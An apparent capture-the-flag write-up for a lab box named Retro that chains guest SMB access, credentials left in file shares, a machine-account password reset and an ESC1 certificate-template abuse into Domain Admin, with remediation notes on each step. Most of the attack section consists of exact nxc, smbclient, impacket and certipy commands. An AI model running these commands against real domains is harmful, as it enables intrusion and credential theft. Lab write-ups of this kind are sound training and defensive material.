Retro
Summary
I fully compromised the retro.vl domain controller (DC.retro.vl, $TARGET) by chaining four misconfigurations. The domain controller accepted the guest account with a blank password over SMB, letting me list shares and RID-cycle every domain account without credentials. A world-readable share (Trainees) held a note disclosing default <withheld> credentials; those credentials unlocked a second share (Notes) whose contents revealed the known default password of a pre-staged machine account, BANKING$.
Authenticated enumeration of Active Directory Certificate Services identified the RetroClients template as ESC1-vulnerable — any enrollee could supply an arbitrary Subject Alternative Name and SID. I reset BANKING$'s password, enrolled a certificate impersonating administrator@retro.vl with the Administrator's SID embedded for strong-mapping compliance, then authenticated via Kerberos PKINIT to recover the Administrator NT hash — achieving full Domain Admin control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Confirm guest authentication and list every accessible share.
$ nxc smb $TARGET -u 'guest' -p '' --sharesEnumerate domain users and groups by iterating Security Identifiers — no credentials required.
$ nxc smb $TARGET -u 'guest' -p '' --rid-brute 4000FixDisable SMB null-session and guest authentication on the domain controllerHigh
Exact commands 4
Recursively list all guest-readable file paths across every share.
$ nxc smb $TARGET -u 'guest' -p '' -M spider_plus -o READ_ONLY=true DOWNLOAD_FLAG=falseDownload all files from the Trainees share as guest.
$ mkdir -p /tmp/retro_smb/Trainees && smbclient //$TARGET/Trainees -U 'guest%' -c 'prompt off; recurse on; lcd /tmp/retro_smb/Trainees; mget *'Read the note; contains the <withheld> default credential.
$ cat /tmp/retro_smb/Trainees/Important.txtVerify the recovered credentials and list newly visible shares.
$ nxc smb $TARGET -u $PASSWORD2 -p $PASSWORD2 --sharesFixRemove credentials and sensitive information from shared network foldersCritical
Exact commands 2
Download all files from the Notes share using the password credentials.
$ mkdir -p /tmp/retro_smb/Notes && smbclient //$TARGET/Notes -U "RETRO.VL\$PASSWORD2%$PASSWORD2" -c 'prompt off; recurse on; lcd /tmp/retro_smb/Notes; mget *'Enumerate all ADCS certificate templates and flag those with exploitable misconfigurations.
$ certipy find -u $PASSWORD2 -p $PASSWORD2 -dc-ip $TARGET -vulnerable -stdoutExact commands 2
Reset BANKING$'s password over SAMR using the known initial credential.
$ impacket-changepasswd 'retro.vl/BANKING$':$PASSWORD3@$TARGET -newpass "$PASSWORD" -dc-ip $TARGET -protocol rpc-samrConfirm control of BANKING$ with the new password.
$ nxc smb $TARGET -u 'BANKING$' -p "$PASSWORD" --sharesFixDelete or secure pre-staged machine accounts that carry known or predictable passwordsHigh
Exact commands 2
Add DC hostname — Certipy requires DNS resolution for Kerberos, not just an IP.
$ echo "$TARGET DC.retro.vl DC retro.vl" | sudo tee -a /etc/hostsRequest a certificate asserting administrator@retro.vl as the SAN/UPN with the Administrator SID embedded.
$ certipy req -u 'BANKING$@retro.vl' -p "$PASSWORD" -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -sid 'S-1-5-21-2983547755-698260136-4283918172-500' -dc-ip $TARGETFixRemediate the ESC1 misconfiguration on the RetroClients ADCS certificate templateCritical
Exact commands 3
Authenticate via PKINIT; outputs the Administrator NT hash and saves a TGT to administrator.ccache.
$ certipy auth -pfx administrator_sid.pfx -dc-ip $TARGET -domain retro.vlPass-the-hash as Administrator to read the root flag; replace <NT_HASH> with the hash from certipy auth output.
$ nxc smb $TARGET -u Administrator -H <NT_HASH> -x 'type C:\Users\Administrator\Desktop\root.txt'Read the user flag from the password's desktop.
$ nxc smb $TARGET -u Administrator -H <NT_HASH> -x "type C:\Users\$PASSWORD2\Desktop\user.txt"Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-07 01:56:51Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 53812/tcp | unknown recon-sweep-discovered |
| 55270/tcp | unknown recon-sweep-discovered |
| 55289/tcp | unknown recon-sweep-discovered |
| 60624/tcp | unknown recon-sweep-discovered |
| 60633/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.